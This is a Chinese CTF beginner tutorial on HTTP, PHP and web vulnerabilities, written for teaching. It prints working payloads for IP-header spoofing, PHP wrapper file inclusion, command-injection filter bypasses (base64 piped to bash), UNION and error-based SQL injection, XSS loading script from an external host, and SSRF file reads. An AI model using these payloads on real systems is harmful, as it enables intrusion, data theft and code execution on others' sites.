CTF实战入门
字数 2853 2025-08-19 12:41:40
CTF实战入门教学文档
一、Web基础
HTTP请求方法
- GET:获取服务器资源
- POST:发送数据,常用于更新资源
- PUT:新增数据记录
- PATCH:修改数据记录
- DELETE:删除数据记录
- HEAD:判断资源是否存在
- OPTIONS:获取资源约束信息
HTTP请求头分析
- Referer:请求来源页面
- User-Agent (UA头):包含操作系统、浏览器等信息
- 用于设备适配或访问控制
HTTP响应状态码
| 状态码 | 含义 |
|---|---|
| 101 | 协议切换(如HTTP→Websocket) |
| 200 | 请求成功 |
| 201 | 资源创建成功(PUT响应) |
| 204 | 无内容返回(网络检测) |
| 301 | 永久重定向 |
| 302 | 临时重定向 |
| 404 | 资源不存在 |
| 405 | 方法不被允许 |
| 500 | 服务器内部错误 |
| 502 | 网关错误(后端不可达) |
| 504 | 网关超时 |
URL结构分析
https://url/read-6951.html?a=1&b=2#tag5
- scheme:协议(HTTP/HTTPS/FTP)
- userinfo:认证信息(用户名:密码)
- host:服务器地址/域名/IP
- port:端口(HTTP:80, HTTPS:443)
- path:资源路径(/read-6951.html)
- query:请求参数(a=1&b=2)
- fragment:页面锚点(不被发送到服务器)
HTTP响应头
- Set-Cookie:服务器设置客户端凭证
实战案例:本地访问限制绕过
- 使用
X-Forwarded-For、X-Client-Ip、X-Real-Ip等头伪造IP - 构造请求获取关键信息(如用户名密码)
目录扫描工具Dirsearch
python dirsearch.py -u https://url -e * -w /path/to/dictionary.txt
-u:目标URL-e:扩展名(*为通配符)-w:字典路径
二、PHP安全
弱类型漏洞
原理:
- 不同类型可相互转换
- 转换规则:
- 能转换则转换('1test'→1)
- 同类型可转换则转换('1'和'01'→1和1)
- 同类型不可转换则字符串比较('a'和'1a')
MD5/HASH漏洞利用
条件:
- MD5(值)结果为"0e"开头
- "0e"后全为数字
- 使用弱比较(==)
示例:
0e123 == 0e234 → true(科学计数法)
PHP伪协议
常用协议:
php://filter:文件包含时编码输出data://:直接包含数据
payload示例:
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
代码执行函数
- eval():执行PHP代码
- assert():直接执行输入为代码
- array_map():回调函数执行
- 动态函数调用:
$_GET['method']()
正则替换漏洞:
preg_replace('/('.$re.')/ei', 'strtolower("\\1")', $str);
e修饰符:替换部分作为PHP代码执行
payload构造:
?\S*=${getFlag()}&cmd=system('ls /');
反序列化漏洞
关键函数:
serialize():序列化对象unserialize():反序列化__wakeup():反序列化时调用__destruct():对象销毁时调用
利用步骤:
- 构造恶意序列化数据
- 触发反序列化
- 利用魔术方法执行代码
三、常见Web漏洞
命令执行绕过技巧
-
空格过滤绕过:
%09(tab)%0a(换行)${IFS}$IFS$9
-
关键字过滤绕过:
- 替代命令:
tac、more等 - 引号分割:
ca"t、ca""t、ca\t - 十六进制:
$(printf "\x6c\x73")(等于ls) - Base64编码:
echo Y2F0IGluZGV4LnBocA==|base64 -d|bash - 通配符:
cat fl?g、cat f* - 变量拼接:
a=c;b=at;$a$b
- 替代命令:
SQL注入
关键知识点:
-
information_schema数据库:
schemata:schema_name(数据库名)tables:table_schema、table_namecolumns:table_schema、table_name、column_name
-
字符串拼接函数:
concat():行数据拼接group_concat():列数据拼接
-
报错注入函数:
and updatexml(1, concat(0x7e, (select version()), 0x7e), 1)- 参数1:无效XML文档(触发错误)
- 参数2:XPath表达式(含注入payload)
- 参数3:无效更新内容(触发错误)
注入步骤:
- 判断列数:
order by - 获取数据库名
- 获取表名
- 获取列名
- 获取数据
XSS漏洞
类型:
- 反射型:参数控制输出
- 存储型:恶意代码存入数据库
- DOM型:用户输入作为JS执行
HTML事件利用:
onerror:资源加载失败onload:资源加载完成onmouseover:鼠标悬停onfocus:元素获取焦点
绕过技巧:
- 大小写混合:
<sCRiPt> - 注释分割:
/**/<script> - 编码绕过:十六进制/Base64
SSRF漏洞
危险函数:
file_get_contents()readfile()fsockopen()
危险协议:
file://:读取文件gopher://:多种协议封装dict://:字典协议
利用步骤:
- 验证SSRF存在
- 读取
/etc/hosts获取内网IP段 - 扫描内网主机和端口
- 构造针对性攻击
curl命令使用:
# GET请求
curl http://example.com
# POST请求
curl -X POST -d "data=value" http://example.com
# 文件上传
curl -F "f=@/etc/passwd" http://example.com/upload.php
四、实战案例解析
1. 本地访问限制绕过
步骤:
- 使用
X-Forwarded-For头伪造IP - 获取关键凭证信息
2. 文件包含漏洞
payload:
?file=php://filter/convert.base64-encode/resource=index.php
3. 命令执行绕过
payload:
cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
4. SQL注入
payload序列:
- 判断列数:
?id=1 order by 2 - 获取数据库名:
?id=-1 union select group_concat(schema_name),2 from information_schema.schemata - 获取表名:
?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='database' - 获取列名:
?id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='table' - 获取数据:
?id=-1 union select column,1 from table
5. XSS攻击
反射型payload:
?name=</tEXtArEa>'"><sCRiPt sRC=//xss平台></sCrIpT>
DOM型payload:
';</scirpt><script sRC=//xss平台>//
6. SSRF利用
文件读取:
?url=file:///var/www/html/flag.php
内网扫描:
使用Burp Suite Intruder模块扫描8000-9000端口